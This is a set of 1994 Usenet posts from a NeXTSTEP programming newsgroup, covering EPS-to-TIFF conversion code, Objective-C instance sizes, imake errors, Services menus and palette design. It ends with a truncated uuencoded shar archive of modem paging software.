Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: EPS to TIFF conversion In-Reply-To: sean@zapotec.math.byu.edu's message of 6 May 1994 18:40:31 GMT Message-ID: <BYER.94May6144159@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <Cp657q.2ro@hazel.north.de> <2q5ktu$ct3@paperboy.gsfc.nasa.gov> <BYER.94May3115952@birch.mv.us.adobe.com> <2qe2uv$3jb@hamblin.math.byu.edu> Date: Fri, 6 May 1994 21:41:59 GMT Sean O Luke writes: Sean> Problem. It doesn't always work--on my monochrome NeXT, IconBuilder Sean> consistently saves images only in grey regardless of what bit level I Sean> set the file. I think it has something to do with the fact that NeXT Sean> rasterizes to buffered memory, but IconBuilder reads directly from Sean> that memory. Are you sure you don't have "NXWindowDepthLimit" set somewhere in the defaults? The machine I tested on is a mono NeXT, running 3.2. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c,comp.lang.c From: marcos@its.com (Marcos J. Polanco) Subject: Finding size of a memory object Message-ID: <1994May5.173832.916@its.com> Sender: usenet@its.com Organization: Information Technology Solutions Date: Thu, 5 May 1994 17:38:32 GMT (The basic question is, how do you find the size of a memory obje ct which has been malloc'ed?) Hello, I am attempting to implement a method transpose:(id)myKin which would allow the receiver to take over all the instance variables of myKin, another object of the same class as the receiver. I figure that using memcpy() is a reasonable approach, as in: memcpy(self, myKin, [[self class] instanceSize]); Except that there is no + instanceSize method to be found, and I can find no way of implementing it. How do you find the size of an instance? What I find surprising is that this method does not exist already. Would its use be bad practice? Thanks. -- Marcos J. Polanco marcos@its.com 312-474-7700, x225
Newsgroups: comp.sys.next.programmer From: jaime@afs.com (Jaime Guerrero) Subject: Re: How to use a storage object. Message-ID: <1994May5.211731.7111@afs.com> Sender: jaime@afs.com References: <1994May2.233953.14051@biztech.com> Date: Thu, 5 May 1994 21:17:31 GMT > In article <1994May2.233953.14051@biztech.com> cousens@biztech.com > writes: > typedef struct { > char itemName[10]; > double itemCost; > } ITEMSTRUCT; > > theStore=[[Storage allocFromZone:[self zone]] > initCount:0 > elementSize:sizeof(ITEMSTRUCT) > description:"{[10c]d}"]; It is better practice to use the @encode directive-- theStore=[[Storage allocFromZone:[self zone]] initCount:0 elementSize:sizeof(ITEMSTRUCT) description:@encode(ITEMSTRUCT)]; for the same reason you use sizeof() rather than a constant. That way, you can change the typedef contents without having to update all descriptions of it. -- Jaime Guerrero "Wake Up, I'm Horny" Anderson Financial Systems Inc. (album by Big Daddy Graham) Philadelphia, Pennsylvania, USA jaime@afs.com [NeXTmail ok]
Newsgroups: comp.sys.next.programmer,comp.lang.objective-c From: lloyd@world.std.com (Christopher Lloyd - NOT THE ACTOR) Subject: Re: Finding size of a memory object Message-ID: <CpEu5t.Ho@world.std.com> Organization: The World Public Access UNIX, Brookline, MA References: <1994May5.173832.916@its.com> <1994May07.002304.321@corona.com> Date: Sat, 7 May 1994 02:13:05 GMT In article <1994May07.002304.321@corona.com> pkron@corona.com writes: >From: marcos@its.com (Marcos J. Polanco)>> Except that there is no + instanceSize method to be found, >> and I can find no way of implementing it. How do you find >> the size of an instance? > >"self" is actually a pointer to the structure representing the instance variables, so the following works (NEXTSTEP 3.2 anyway): > > memcpy(self, myKin, sizeof( *self)); That doesn't work in all cases, most notably self as a subclass. The general solution is: self->isa->instance_size; shrug, -- :: Christopher Lloyd :: Yrrid, Inc. :: lloyd@yrrid.com lloyd@world.std.com :: :: I-i-i-i-i, i-i-I-I bl-a-a-a-ame NeXT. *cough* *cough* *gasp* ak ak ak ::
From: michelle@meaddata.com (Michelle Buck) Newsgroups: comp.sys.next.programmer Subject: Object re-use and boot strap problem Date: 7 May 1994 00:38:48 GMT Organization: Mead Data Central, Dayton OH Message-ID: <2qenuo$8hj@meaddata.meaddata.com> I have a question. We are building a visual programming environment under contract and we have run into a minor road-block. The tool we are building has the property that it can be used to build itself. (A user can use the tool to build the tool - like a user can use IB to recreate the IB interface) All is going well, but I have an interesting bootstrap problem. Visual programming elements are provided on a (possibly user created) palette similar to the palettes in Diagram! In fact, the components used to build the palette are themselves on a palette. How do the visual components get onto a palette the first time ? How does a user build a palette which contains components that are not yet on a palette ? For me, the developer, this is no real problem. I hard-code the components onto a palette, then run the program and use it to build a proper palette. When the proper palette is saved, the job is done. To access the components in the future, it is only necessary to load the saved palette. Unlike Diagram!, users can create palettes of components that are not themselves aggregations of other components. This capability is needed so that novel logical structures that are targeted to specific requirements can be built. For example, a palette containing aircraft flight avionics components needs special logic to process the real-time data coming in over the aircraft's data bus. Such a specialized palette has no place in the general application, but it must be possible to build it. In the design, it was assumed that sophisticated users would build custom palettes in Objective-C and load them as bundles. This may yet be required, but we have realized that there are several problems: 1) This is a visual programming tool. We want to keep it as visual as possible. 2) Most things can be built out of existing visual components. It is bad to force a user who wants to build a palette consisting of 99 visual and 1 custom Objective-C components to hand code the 99 for the sake of the one. In the current implementation this would be required to even be able to compile the bundle. See problem 3. 3) We do not control the source for components on palettes that we did not build. We rely on custom palettes for most functionality. We can not publish the code or even release its detailed programming interface. As a result, users are forced to recreate components for which they can not get source whenever they want to extent them. 4) We do not want it to be hard to build custom paletts. We are considering using an interface language (perhaps IDL) to try and expose programming interfaces without compromising third party developers. This is a tricky business at best. Who decides what constitutes unreasonable exposure. This is a small part of the greater reusability problem that our industry faces. Does anyone have any thoughts on the subject ? Perhaps forcing users to adhere to published protocols would shield proprietary interests from too much exposure. How do we determine what will be in the published protocols ? Is IDL a good solution and will it really protect the interests of hyper-sensitive component suppliers ? - Erik
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Fri, 6 May 1994 17:23:04 PDT Message-ID: <1994May07.002304.321@corona.com> Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Finding size of a memory object References: <1994May5.173832.916@its.com> From: marcos@its.com (Marcos J. Polanco) > I am attempting to implement a method transpose:(id)myKin > which would allow the receiver to take over all the > instance variables of myKin, another object of the same > class as the receiver. I figure that using memcpy() is > a reasonable approach, as in: > > memcpy(self, myKin, [[self class] instanceSize]); > > Except that there is no + instanceSize method to be found, > and I can find no way of implementing it. How do you find > the size of an instance? "self" is actually a pointer to the structure representing the instance variables, so the following works (NEXTSTEP 3.2 anyway): memcpy(self, myKin, sizeof( *self)); --- NeXTMail:peter.kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Finding size of a memory object Date: 7 May 1994 04:39:59 GMT Organization: San Francisco State University Message-ID: <2qf62v$2mp@nic-nac.CSU.net> References: <1994May5.173832.916@its.com> <1994May07.002304.321@corona.com> <CpEu5t.Ho@world.std.com> In article <CpEu5t.Ho@world.std.com> lloyd@world.std.com (Christopher Lloyd - NOT THE ACTOR) writes: > The general solution is: > > self->isa->instance_size; Really? Even if the instance came from class_createInstance[FromZone]() using idxIvars > 0? -=EPS=-
From: adhir@bigdipper.umd.edu (Alok K. Dhir) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Compiling X apps with Cub'X-Window Date: 7 May 1994 05:07:55 GMT Organization: University of Maryland, College Park Message-ID: <2qf7nc$oc5@umd5.umd.edu> Hello all - I recently took delivery of Cub'xWindow for my Next machine running NSFIP 3.2. I am trying to compile some X apps for it, but I seem to be having a problem using imake. Here is the message I get when trying to make fvwm (a window manager): In file included from /usr/lib/X11/config/Imake.tmpl:859, from :3: /tmp/IIf.011772:5: invalid preprocessor directive name /tmp/IIf.011772:6: invalid preprocessor directive name imake: Exit code 1. Stop. Interestingly, I receive this _exact_ same error message from two other completely unrelated X apps I am tryng to compile. I looked at the Imake.tmpl file but was not able to find anything wrong on line 859, it it the following: #include INCLUDE_IMAKEFILE I did, however, successfully make 'xbiff' using Imake, so it doesn't happen every time I try to use it. Any advice? Thanks... -- -------------------------------------___--------------------------------- | Al Dhir, Programmer Analyst /___\ UMCP Ag-Engineering Dept | | Internet: adhir@bigdipper.umd.edu (o o) (301) 405-1197 | ---------------------------------ooO-(_)-Ooo-----------------------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Re: Compiling X apps with Cub'X-Window Date: 07 May 1994 08:02:51 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May7090251@steffi.demon.co.uk> References: <2qf7nc$oc5@umd5.umd.edu> To: adhir@bigdipper.umd.edu (Alok K. Dhir) In-reply-to: adhir@bigdipper.umd.edu's message of 7 May 1994 05:07:55 GMT <adhir@bigdipper.umd.edu> writes: >Hello all - I recently took delivery of Cub'xWindow for my Next machine >running NSFIP 3.2. I am trying to compile some X apps for it, but I seem >to be having a problem using imake. Here is the message I get when >trying to make fvwm (a window manager): >In file included from /usr/lib/X11/config/Imake.tmpl:859, from :3: >/tmp/IIf.011772:5: invalid preprocessor directive name >/tmp/IIf.011772:6: invalid preprocessor directive name >imake: Exit code 1. Stop. Your problem is caused by the comment lines not starting at column zero I think... It's related to the comment lines I know that because I had the same problem with Co-Xist. when building fvwm... Look for strange comment lines in the Imakefile. fvwm is not _a_ window manager it's _the_ window manager :-) -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: jerald@mrk.com (Jerald Dawson) Subject: Counting lines of code Message-ID: <CpEGIq.Awu@mrk.com> Sender: jerald@mrk.com (Jerald Dawson) Organization: Investor's Advantage Distribution: usa Date: Fri, 6 May 1994 21:18:25 GMT Hi all, I want to count the lines of code that make up an app we just ported from windows so we can compare the two. We know that the NS version of our app is quite a bit smaller but what to see exactly how much. I'm sure there is some way to do that but I don't know what it is. Could someone who does know how please email me about it. Its not a big deal, we're just curious. thanx -- jerald dawson * Systems Manager/Head Programmer * Investor's Advantage NeXTmail - jerald@mrk.com | phone - (708) 487-3221 | Don't blame me. I voted for Bush.
Newsgroups: comp.sys.next.programmer From: lloyd@world.std.com (Christopher Lloyd - NOT THE ACTOR) Subject: Re: Finding size of a memory object Message-ID: <CpF6zD.LxE@world.std.com> Organization: The World Public Access UNIX, Brookline, MA References: <1994May07.002304.321@corona.com> <CpEu5t.Ho@world.std.com> <2qf62v$2mp@nic-nac.CSU.net> Date: Sat, 7 May 1994 06:50:00 GMT In article <2qf62v$2mp@nic-nac.CSU.net> eps@cs.sfsu.edu writes: >In article <CpEu5t.Ho@world.std.com> lloyd@world.std.com writes: >> The general solution is: ^^^^^^^^^^^ Scratch that. A good solution is: >> >> self->isa->instance_size; > >Really? Even if the instance came from >class_createInstance[FromZone]() using idxIvars > 0? No, and there are other cases where it does not work, yet it was an appropriate answer given the original question as framed in the context of a desired +instanceSize method. Another solution is: malloc_size(); Yet, this does not encompass all cases either, and may fail where self->isa->instance_size succeeds. oooooooooooh well! -- :: Christopher Lloyd :: Yrrid, Inc. :: lloyd@yrrid.com lloyd@world.std.com :: :: I-i-i-i-i, i-i-I-I bl-a-a-a-ame NeXT. *cough* *cough* *gasp* ak ak ak ::
Newsgroups: comp.sys.next.programmer Organization: Antigone Press gateway, San Francisco Return-Path: <tom@pdh.com> From: tom@pdh.com (Tom Fitzgerald) Message-ID: <9405070024.AA21305@snowbird.pdh.com> Date: Fri, 6 May 94 17:25:17 -0700 Subject: Problem with Services in 3.2 I am trying to get my application's services to appear in the Service menu. When I bring up the Workspace and quickly look at the Services menu they initially are there. After the Workspace has launched all the startup applications, my services disappear from the Workspace services menu. When I run make_services in a terminal window my Services appear. Does anyone know what could be going on? I am running 3.2 on black hardware. Thanks --- Tom Fitzgerald tom_fitzgerald@pdh.com (NeXT Mail OK) PDH, INC / 2635 N First St, Suite 224 / San Jose, CA 95134-2032 (408) 428-9596 / FAX (408) 428-9599
Newsgroups: comp.sys.next.programmer From: gmd@hazel.north.de (Gerriet M. Denkmann) Subject: Re: EPS to TIFF conversion (Code to solve problem) Message-ID: <CpFs55.Lx7@hazel.north.de> Sender: gerriet@hazel.north.de (Gerriet M. Denkmann) Organization: Great Mathematical Developments, Inc. References: <2qe85c$1qi@nntp2.Stanford.EDU> Date: Sat, 7 May 1994 14:27:04 GMT In article <2qe85c$1qi@nntp2.Stanford.EDU> rutledge@camis.Stanford.EDU (Geoffrey Rutledge) writes: .... > I asked how to do this sometime ago, and received a helpful response and some > code. ...... > Enclosed is a little NeXT program which will convert an EPS file into a > tiff file. ...... I tried this example and it did not work quite as I exspected.( On a Black 3.2): When the tiff depths is set to NX_DefaultDepth or NX_TwoBitGrayDepth ( on a MegaPixel Display ) we get a tiff with no alpha and only white pixels. A colour eps creates for all other settings a tiff with 24 bit RGB + alpha. A gray eps creates for all other settings a tiff with 8 bit gray + alpha. Following the program I tried: ==================================== /* Tries to convert eps to any style of tiff and fails miserably. * * Usage:eps2tiff [-d nn] [-s ff] [-z] [-j nn] infile outfile * * To compile: cc -g -o eps2tiff eps2tiff.m -lNeXT_s * * Displays best in Edit with tabs at 4, width >= 99 * **/ /* History: * * Written by: * Tom Swanner III * bizarre@clients-r-us.tamu.edu * * compression switches added by: * Geoffrey Rutledge * rutledge@camis.stanford.edu * * Small modifications on 7. May 1994 by: * Gerriet M. Denkmann * gmd@hazel.north.de * **/ #import <appkit/appkit.h> void main( int argc, char *argv[] ) { extern char *optarg; extern int optind; int c; BOOL argumentProblems = NO ; float scale = 1.0 ; int compressionType = NX_TIFF_COMPRESSION_NONE; float compressionFactor = 0.0; NXWindowDepth outDepth = NX_DefaultDepth ; const char *fileinn ; const char *fileout ; NXStream *stream ; NXImage *myIma; optind = 1; while ((c = getopt(argc, argv, "zj:d:s:")) != EOF) { switch (c) { case 'd': { int depth ; int ii = sscanf (optarg, "%d", &depth); if ( ii != 1 ) { fprintf(stderr,"cannot read depth argument: \"%s\".\n",optarg); argumentProblems = YES ; }; switch (depth) { case 2: outDepth = NX_TwoBitGrayDepth ; break ; case 8: outDepth = NX_EightBitGrayDepth ; break ; case 12: outDepth = NX_TwelveBitRGBDepth ; break ; case 24: outDepth = NX_TwentyFourBitRGBDepth ; break ; default: fprintf(stderr,"de pth value must be 2,8,12 or 24.Not: %d.\n",depth); argumentProblems = YES ; }; break ; }; case 's': (void) sscanf (optarg, "%f", &scale); break; case 'z': compressionType = NX_TIFF_COMPRESSION_LZW; break; case 'j': compressionType = NX_TIFF_COMPRESSION_JPEG; (void) sscanf (optarg, "%f", &compressionFactor); break; case '?': argumentProblems = YES ; break; default: fprintf(stderr,"unknown option %#x = %c.\n",c,c); argumentProblems = YES ; }; }; if ( argc != optind + 2 ) // error { fprintf(stderr,"have %d filenames, need exactly two.\n",argc - optind ); argumentProblems = YES ; }; fileinn = argv[ optind ] ; fileout = argv[ optind + 1 ] ; if ( argumentProblems ) // error { fprintf(stderr, "Usage:%s [-d nn] [-s nn] [-z] [-j nn] infile outfile\n", argv[0] ); exit(2) ; }; [Application new]; myIma = [[NXImage alloc] initFromFile:fileinn]; if ( scale != 1.0 ) { NXSize theSize; [myIma getSize: &theSize]; /* this is where you get the size */ [myIma setScalable: YES]; /* this is where you change it! */ theSize.width *= scale; theSize.height *= scale; [myIma setSize: &theSize]; }; // The default is NX_COLORCLEAR //[myIma setBackgroundColor: NX_COLORWHITE]; [myIma setCacheDepthBounded:NO]; [myIma useCacheWithDepth: outDepth ]; stream = NXOpenMemory(NULL, 0, NX_READWRITE); [ myIma writeTIFF: stream allRepresentations: NO usingCompression: compressionType andFactor: compressionFactor ] ; /* Problems in Black 3.2: * * When outDepth = NX_DefaultDepth or NX_TwoBitGrayDepth ( on a MegaPixel Display ) * we get a tiff with no alpha and only white pixels. * * A colour eps creates for all other settings a tiff with 24 bit RGB + alpha. * * A gray eps creates for all other settings a tiff with 8 bit gray + alpha. * * When the background is set to something without alpha ( e.g. NX_COLORWHITE ) we * get tiffs without alpha, which is ok. **/ NXSaveToFile( stream, fileout ); NXCloseMemory( stream, NX_FREEBUFFER ); }
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: How to subclass TextField? Message-ID: <1994May6.221023.9156@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2q61lk$gek@netnews.upenn.edu> Date: Fri, 6 May 1994 22:10:23 GMT Joe, sounds like: 1) you need to write a palette (can be quite a pain) or 2) create a category for TextField where you add your own functionality (as long as you don't need any additional Instance Variables). drop me a line, if you want to talk about it... Rik (cousens@biztech.com)
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: Max. number of palettes in IB ? Message-ID: <1994May6.221310.9214@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <ROBERT.94May3130820@steffi.demon.co.uk> Date: Fri, 6 May 1994 22:13:10 GMT Hey Harald, did you try launching IB from gdb? This sometimes shows you error messages that sometimes don't make it through to the console. rikhost> gdb /NextDeveloper/Apps/InterfaceBuilder.app/InterfaceBuilder and then just run it. You may find something interesting! Hey Ken, drop me a line. Rik (cousens@biztech.com)
From: cahalan@clouds.gsfc.nasa.gov (Robert F. Cahalan) Newsgroups: comp.sys.next.programmer Subject: Re: EPS to TIFF conversion (Code to solve problem) Date: 7 May 1994 18:40:44 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Distribution: world Message-ID: <2qgnbc$68c@paperboy.gsfc.nasa.gov> References: <2qe85c$1qi@nntp2.Stanford.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In article <2qe85c$1qi@nntp2.Stanford.EDU> rutledge@camis.Stanford.EDU (Geoffrey Rutledge) writes: > In article <1994May3.165752.25324@ictv.com> robert@ictv.com (Robert Patrick > Thille) writes: > > Robert F. Cahalan writes > > > In article <Cp657q.2ro@hazel.north.de> gmd@hazel.north.de (Gerriet M. > > > Denkmann) writes: > > > > I am trying to convert EPS to TIFF in a representation *different* from > > > my screen. > > > > Gerriet. ..........................STUFF DELETED............................. > I asked how to do this sometime ago, and received a helpful response and some > code. I include the code with some modifications to support compressing the > tiff output. Feel free to use, fix and redistribute. (Just don't blame me for > any problems it causes you!) > > Tom Swanner III sent the following: > ================================================================= ..................eps2tiff.m code deleted......................... This looks like just what's needed, Goeffrey. Many thanks! But it doesn't seem to behave as described. I did this (on my NeXTcube running NS 3.2 with NeXTdimension display): 1. compile with cc -g -o eps2tiff eps2tiff.m -lNeXT_s 2. copied CircularText.eps and Level2Stars.eps from /NextDeveloper/Examples/Postscript into the current directory as t.eps and L.eps. 3. executed the following: eps2tiff -d 2 t.eps t2.tiff eps2tiff -d 2 L.eps L2.tiff eps2tiff -d 24 t.eps t24.tiff eps2tiff -d 24 L.eps L24.tiff Then executed tiffutil -info on all four tiff files, and also opened them in Image. Amazingly, the only 24-bit output file is L2.tiff, which displays fine as a color image! The other three (t2.tiff, t24.tiff and L24.tiff) are all 2-bit images, and only t2.tiff displays correctly, while t24.tiff and L24.tiff are blank 2-bit images. I also get 2-bit output files if I don't use the -d switch, but just use the (supposedly 24-bit) default. The same happens on another color image I tried -- only -d 2 gives a good 24-bit tiff. The ONLY way I can get 24-bits is to set -d 2 on a color eps file. The color in these EPS files just come from setrgbcolor and sethsbcolor primitives. Just glancing at the eps2tiff code, it doesn't look like this should happen. Any idea what's going on? --Bob-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .Dr. Robert F. Cahalan (Bob)...#..Laboratory for Atmospheres...... .cahalan@clouds.gsfc.nasa.gov..#..NASA-Goddard Space Flight Center .*** NeXTMail accepted ***.....#..Greenbelt, MD 20771............. .FAX: (301) 286-1627...........#..voice: (301) 286-4276........... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Newsgroups: comp.sys.next.programmer From: wba@netcom2.netcom.com (William Ayer) Subject: Alpa-Numeric paging software (also compiling sun/hp code) Message-ID: <WBA.94May7131709@netcom2.netcom.com> Sender: wba@netcom.com (William Ayer) Organization: NETCOM On-line services Date: Sat, 7 May 1994 20:17:08 GMT NeXT / Sun hackers, Attached to this message is the source for a program which will send alpha-numeric pages though a normal modem. The code has been compiled on Suns and HPs, but I could not figure out how to compile it on my NeXT, because the program seems fairly dependent on the termios terminal interface, which does not seem to be a part of NeXT's unix. Is there anyone out there who is interested in sending alpha-numeric pages from the NeXT, who also knows how to port Sun/HP code to the NeXT? William P.S. The attachment is a uuencoded, self-extracting sharfile. --------------------------- CUT HERE ---------------------------- begin 777 run_me_to_extract M(R$@+V)I;B]S: HC(%1H:7,@:7,@82!S:&5L;"!A<F-H:79E+"!M96%N:6YG M.@HC(#$N(%)E;6]V92!E=F5R>71H:6YG(&%B;W9E('1H92 C(2 O8FEN+W-H M(&QI;F4N"B,@,BX@4V%V92!T:&4@<F5S=6QT:6YG('1E>'0@:6X@82!F:6QE M+@HC(#,N($5X96-U=&4@=&AE(&9I;&4@=VET:" O8FEN+W-H('1O(&-R96%T M92!T:&4@9FEL97,Z"B,)4D5!1$U%"B,)9F)E97 N8PHC"6)E97!E<G-C:&5D M"B,)8F5E<&5R=&%B"B,):7AO+F1O8PHC(%1H:7,@87)C:&EV92!C<F5A=&5D M.B!&<FD@3F]V(" X(#$U.C0P.C(S(#$Y.3$@8GD@5&]M($QI;6]N8V5L;&DL M($UE;G1O<B!'<F%P:&EC<RP@4VEL:6-O;B!$97-I9VX@1&EV:7-I;VX*(PHC M"F5X<&]R="!0051(.R!0051(/2]B:6XZ)%!!5$@*"@II9B!T97-T("UF(%)% M041-12 [('1H96X*96-H;R!S:&%R.B!W:6QL(&YO="!O=F5R+7=R:71E(&5X M:7-T:6YG(&9I;&4@4D5!1$U%"F5L<V4*96-H;R!S:&%R.B!E>'1R86-T:6YG M(%)%041-12P@,38T-2!C:&%R86-T97)S"G-E9" G<R]>6"\O)R ^(%)%041- M12 \/"=32$%27T5/1B<*6$9A;F-Y($)E97!E<B M+2!">2!4;VT@3&EM;VYC M96QL:2 H=&%L0'=A<G)E;BYM96YT;W)G+F-O;2D*6 I85&AI<R!P<F]G<F%M M(&1I86QS('1H92!P:&]N92!A;F0@<W!E86MS('1H92!)6$\@*&UA;G5A;"!M M;V1E*0I8<')O=&]C;VP@=&\@<V5N9"!A(&UE<W-A9V4@=&\@82!P86=E<BX@ M(%1H92!M97-S86=E(&-A;B!C;VUE"EAF<F]M('1H92!C;VUM86YD(&QI;F4@ M;W(@9G)O;2!S=&%N9&%R9"!I;G!U="X@(%1H92!C;VUM86YD"EAC86X@8F4@ M=7-E9"!A<R!A(")T964B+B @5&AI<R!P<F]G<F%M+"!U<V5D(&EN(&-O;FIU M;F-T:6]N"EAW:71H('!R;V-M86EL('=I;&P@96YA8FQE('EO=2!T;R!S96QE M8W1I=F5L>2!S96YD('1H92!B96=I;FYI;F<*6&]F('-E;&5C=&5D(&5M86EL M(&UE<W-A9V5S('1O('EO=7(@86QP:&%N=6UE<FEC('!A9V5R+@I8"EA43R!) M3E-404Q,.@I8"EA4:&ES(&AA<R!B965N(&EN<W1A;&QE9"!O;B!3=6Y/4R!S M>7-T96US(&%N9"!O;B!A;B!(4"!S>7-T96TN"EA4:&4@2% @<WES=&5M(')E M<75I<F5D(&$@<VQI9VAT(&UO9&EF:6-A=&EO;B H8V]M;65N="!O=70@<&%R M= I8;V8@=&AE(&UO9&5M(&QO8VMI;F<@=VAE<F4@:70@=7-E<R!T:&4@9V5T M<')I;W)I='DH*2!C86QL('1O"EAS964@:68@82!P<F]C97-S(&ES('-T:6QL M(&%R;W5N9"X@($IU<W0@87-S=6UE('1H870@:70@:7,*6&%R;W5N9"!I;G-T M96%D+BD*6 I8*#$I($5D:70@9F)E97 N8R!A;F0@;6]D:69Y('1H92 C9&5F M:6YE($1%1D%53%1?(&UA8W)O<R!T;R!B90I8=&AE('=A>2!Y;W4@=V%N="!T M:&5M("AT:&4@9&5F875L=',@<VAO=6QD(&)E(&9I;F4I+@I8"E@H,BD@0V]P M>2!B965P97)S8VAE9"!A;F0@8F5E<&5R=&%B('1O("]E=&,@*&]R('=H97)E M(&5V97(@>6]U"EAS<&5C:69I960@:6X@9F)E97 N8RD@86YD(&5D:70@=&AE M;2!A<R!A<'!R;W!R:6%T92X*6 I8*#,I($-O;7!I;&4@9F)E97 N8R!T;R!F M8F5E<" H(FUA:V4@9F)E97 B('=O<FMS(&IU<W0@9FEN92DN"E@*6$-/34U! M3D0@55-%.@I8"EA2=6X@=&AE('!R;V=R86T@=VET:"!N;R!P87)A;65T97)S M('1O(&=E="!A(&QI<W0@;V8@86QL('1H90I8;W!T:6]N<RX*6 I84%)/1U)! M32!(25-43U)9.@I8"EA,;V]K(&EN<VED92!F8F5E<"YC+@I8"EA&55154D4@ M14Y(04Y#14U%3E13.@I8"EA,;V]K(&EN<VED92!F8F5E<"YC+@I8"EA(3U<@ M5$\@0T].5$%#5"!42$4@05542$]2.@I8"EA4:&4@8F5S="!W87D@:7,@=&\@ M<V5N9"!E;6%I;"!T;R!T86Q =V%R<F5N+FUE;G1O<F<N8V]M+@I83W(L(&-A M;&P@*S$@.3 X+34X,"TP,3 R('@W,#<@9'5R:6YG(&)U<VEN97-S(&AO=7)S M("A%87-T97)N"EA3=&%N9&%R9"!4:6UE*2X*6 I82&5R92!A<F4@=&AE(&9I M;&5S(&EN8VQU9&5D(&EN('1H:7,@<&%C:V%G93H*6 I8=&]T86P@,S4*6"UR M=RUR=RUR+2T@(#$@=&%L(" @(" @(" @(#$V-#4@3F]V(" X(#$U.C,X(%)% M041-10I8+7)W+7)W+7(M+2 @,2!T86P@(" @(" @(" @(#@Y-"!/8W0@,S$@ M,3$Z,C4@8F5E<&5R<V-H960*6"UR=RUR=RUR+2T@(#$@=&%L(" @(" @(" @ M(" V.#<@3V-T(#,Q(#$Q.C,W(&)E97!E<G1A8@I8+7)W+2TM+2TM+2 @,2!T M86P@(" @(" @(" R,3@W,R!.;W8@(#@@,34Z,S<@9F)E97 N8PI8+7)W+7)W M+7(M+2 @,2!T86P@(" @(" @(" @.#<S-R!/8W0@,S$@,3$Z,3$@:7AO+F1O M8PI32$%27T5/1@IL96X]8'=C("UC(#P@4D5!1$U%8 II9B!T97-T("1L96X@ M(3T@,38T-2 [('1H96X*96-H;R!S:&%R.B!214%$344@=V%S("1L96X@8GET M97,@;&]N9RP@<VAO=6QD(&AA=F4@8F5E;B Q-C0U"F9I"F9I(",@96YD(&]F M(&]V97)W<FET:6YG(&-H96-K"@II9B!T97-T("UF(&9B965P+F,@.R!T:&5N M"F5C:&\@<VAA<CH@=VEL;"!N;W0@;W9E<BUW<FET92!E>&ES=&EN9R!F:6QE M(&9B965P+F,*96QS90IE8VAO('-H87(Z(&5X=')A8W1I;F<@9F)E97 N8RP@ M,C$X-S,@8VAA<F%C=&5R<PIS960@)W,O7E@O+R<@/B!F8F5E<"YC(#P\)U-( M05)?14]&)PI8+RH@9F)E97 N8R M+2 H9F%N8WD@8F5E<"D@<V5N9"!A;B!A M;'!H86YU;65R:6,@;65S<V%G92!T;R!A('!A9V5R("HO"E@O*B!">2!4;VT@ M3&EM;VYC96QL:2P@=&%L0'=A<G)E;BYM96YT;W)G+F-O;2 J+PI8"E@O*B!# M;W!Y<FEG:'0@*&,I(#$Y.3$L(%1O;2!,:6UO;F-E;&QI"E@@("!4:&4@<V]U M<F-E<R!C86X@8F4@9G)E96QY(&-O<&EE9"!F;W(@;F]N+6-O;6UE<F-I86P@ M=7-E(&]N;'DN"E@J+PI8"E@O*@I8("H@=7-A9V4Z("AS964@9V5T;W!T('-E M8W1I;VX[('-E87)C:"!F;W(@+U5S86=E+R I"E@@*B *6" J+PI8"E@O*@I8 M"EA(:7-T;W)Y.@I8(" @,2XP("!/8W0@,CDL(#DQ("TM($9I<G-T('=O<FMI M;F<@=F5R<VEO;BX*6" @(#$N,2 @3V-T(#,P+" Y,2 M+2!$96)U9V=I;F<@ M;&5V96QS(&EM<&QE;65N=&5D("@M<R M=B M=G8I+@I8(" @,2XR("!/8W0@ M,S L(#DQ("TM($-L96%N960@=7 @=&AE(&]U='!U="P@97)R;W(@;65S<V%G M92!O;B!F86EL=7)E+@I8(" *6$9U='5R92!E;FAA;F-E;65N=',Z"E@@("!O M("!);7!L96UE;G0@(F%U=&]M871I8R!M;V1E(B!O9B!)6$\@<')O=&]C;VPN M"E@@("!O("!);7!L96UE;G0@;G5M97)I8R!P<F]T;V-O;"!T:&%T('=O<FMS M(&9O<B!A;&P@8F5E<&5R<RX*6" @(&\@(%!E<FUI=" B=VAO(B!T;R!B92!A M(&QI<W0@;V8@<&5O<&QE+@I8(" @;R @06-C97!T(&$@;&ES="!O9B!M;V1E M;7,N"E@@("!O("!(879E('1H92!M;V1E;2!L;V-K:6YG(&-O+65X:7-T('=I M=&@@2$1"(&QO8VMI;F<N"E@*6$YO=&4@9G)O;2!T:&4@875T:&]R.@I8(" @ M268@>6]U(&-O;6)I;F4@=&AI<R!P<F]G<F%M('=I=&@@<')O8VUA:6P@8GD@ M4W1E<&AE;B!2+B!V86X@9&5N($)E<F<*6#QB97)G0&UE<W-U82YI;F9O<FUA M=&EK+G)W=&@M86%C:&5N+F1E('EO=2!H879E(&]N92!H96QL(&]F(&$@<&]W M97)F=6P*6'-Y<W1E;2X@($944"!P<F]C;6%I;"!F<F]M('EO=7(@;&]C86P@ 